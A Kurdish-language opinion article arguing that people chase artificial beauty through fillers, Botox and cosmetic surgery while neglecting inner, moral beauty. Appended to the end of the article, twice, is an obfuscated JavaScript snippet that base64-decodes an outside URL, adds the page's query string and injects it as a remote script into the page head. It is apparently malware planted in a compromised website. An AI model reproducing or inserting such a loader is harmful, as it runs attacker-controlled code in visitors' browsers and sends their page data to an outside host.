فیلەر و بوتوكسا جوانیەكا دەستكرد پەیدا كریە

خودایێ مەزن مروڤ گەلەك تازە ئافراندییە و هەر ئێك ب رەنگ و روخسارەكێ جیاواز دروست كریە، هەموو چێكریێن خودێ د جوان و د بێ كێماسی نە، چ ڕەش یان سپی بیت، یان ژی كورت یان بلند بیت، گرنگ نینە كا سەر و بەرێ هەر كەسەكی یێ چاوایە، ئەڤە ژی نە ب واتایا وێ یە مروڤ مروڤەكێ نە لێكدای و ڤێكدایی و بێ سەروبەر بیت، یان ب ئێك جاری خو بەر دەت و چ گرنگیێ ب روخسارێ خۆ نەدەت، نەخێر دڤێت مروڤ پیتەی ب سەروبەرێ خو یێ دەرڤە ژی بدەت و خەمێ ژێ بخوت و د بەر خورا بچیت، بەلێ خودایێ مەزن گرنگی پتر ب جوانیا دل و دەروونێ مروڤی دایە كا ئایا مروڤ د ناخێ خودا چەند مروڤەكێ جوان و دل و دەروون پاقژ و زمان خوش بیت، چونكی پیڤەرێ خودێ بۆ هەلسەنگاندنا بەندەیێ خۆ نە گرێدایە ب جوانیا روخساریڤە، بەلكو گرێدایە ب جوانیا ناخێ مروڤا و كار و كریارێن وانڤە، لێ مخابن بەهارا پتریا مە مروڤان گرنگیێ ب روخسار و دێم و بەژن و بالا خۆ ددەن و جوانی و پاقژیا دەروونێ خۆ ژبیر دكەن، بەلگە ژی ل سەر ڤێ یەكێ گەر تەماشە كەین نها خەلك بۆ جوانیا سەر و دێمێ خۆ پتر ب خۆڤە مژن و خەما وان ئەوە جوانیەكا دەست كرد ل خۆ پەیدا بكەن و سەر و سیمایەكێ نوی یێ دوور ژ سەر و سیمایێ خۆ یێ سروشتی ل خۆ دیار بكەن و هند ئەو یەكە بۆ گرنگ نینە كا دێ چەند دل و دەروونێ خۆ ژ هەر تشتەكێ وی بەر ب نە ئارامیێ و كرێتیا دەروونی ڤە دبەت ڤالا كەت، لەومان بۆ ڤێ مەرەمێ دێ بینی هاولاتی بەر ب سەنتەرێن جوانكاریا دچن و نشتەرگەریێن جوانكاریێ ئەنجام ددەن، ئەڤجا چ ب بچووكرنا دفنێ بیت یان ژی ڕاكێشانا سەر و چاڤا و نەهێلانا شینوارێن بناڤ سالڤە چوونێ بیت یان ژی لێڤ مەزن كرن و خۆ بلند كرنێ بیت و..، ئەڤ ڕەنگێ خۆ جوانكرنێ چ ب ڕێیا دانانا فیلەر و بوتوكس و نەشتەرگەریا، یا بوویە نەریت چاڤ لێكرنەكا كورە و د سەر هندێ ڕا بوویە بارگرانیەكا ئێكجار زور ل سەر تەخەكا بەرچاڤا جڤاكی و باندورەكا خراب ل سەر ئابورێ هاولاتیان كریە و دبیت د ئاییندەدا كارتێكرنێ ل سەر ساخلەمیا وان ژی بكەت، بیركرنا خەلكەكی گەهشتیە وی رادەی گەر كێماسیەكا بچووك ژی د ئێك ژ ئەندامێت لەشێ وی دا خویا بكەت دێ چیت نەشتەرگەریەكا جوانكاریێ بۆ كەت، گەلەك جاران هەر هەمان ئەڤ رەنگێ مروڤان مایێ خۆ د مروڤی دا دكەن هەكە ئەف رەنگێ نشتەرگەریێن جوانكاریێ نە كربن بەلكو دێ مروڤی ب مروڤەكێ پاشڤە مایی و دوور ژ دورهێلی ل قەلەم دەت و بێژیت سەیرە حەتا ڤێگاڤێ تە نشتەرگەریەكا جوانكاریێ بۆ دێمێ خۆ ئەجا نەدای! براستی ڤێ جوانكاریا دەستكرد روخسارێ گەلەك كەسان گوهارتیە و ب ئێك جاری وەك سەر و سیمایێ خۆ یێ بەرێ نەمایە.
گەر مروڤ درست هزرا خۆ بكەت و بڤێت خۆ ببینیت مروڤەكێ جوان و بێ كێماسی دێ ل سەر ناخێ خۆ كار كەت و دەروونێ خۆ ب هەر سالوخەت و كار و كریارەكا جوان و ژ هەژی خەملینیت، چونكی جوانی جوانیا دەروونی و هزر و بیرا و جوان سەرەدەری كرن و ڕەوشت و رەفتارەكا جوانە، نەك جوانیا بەژن و بالێ‌ یە، جوانیا روخساری دەمەكە و نامینیت، لێ جوانیا ژ ناڤ دا دێ هەر و هەر مینیت و چ دەمەكی خەلك ژ وێ جوانیا ل دەف مروڤی هەی تێر نابیت و هەموو دەمان مروڤ ب ڤێ جوانیا دەروونی دێ یێ ڕۆی گەش ڕوو خۆش بیت د ڤێ ژیانێ دا.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();

کۆمێنتا تە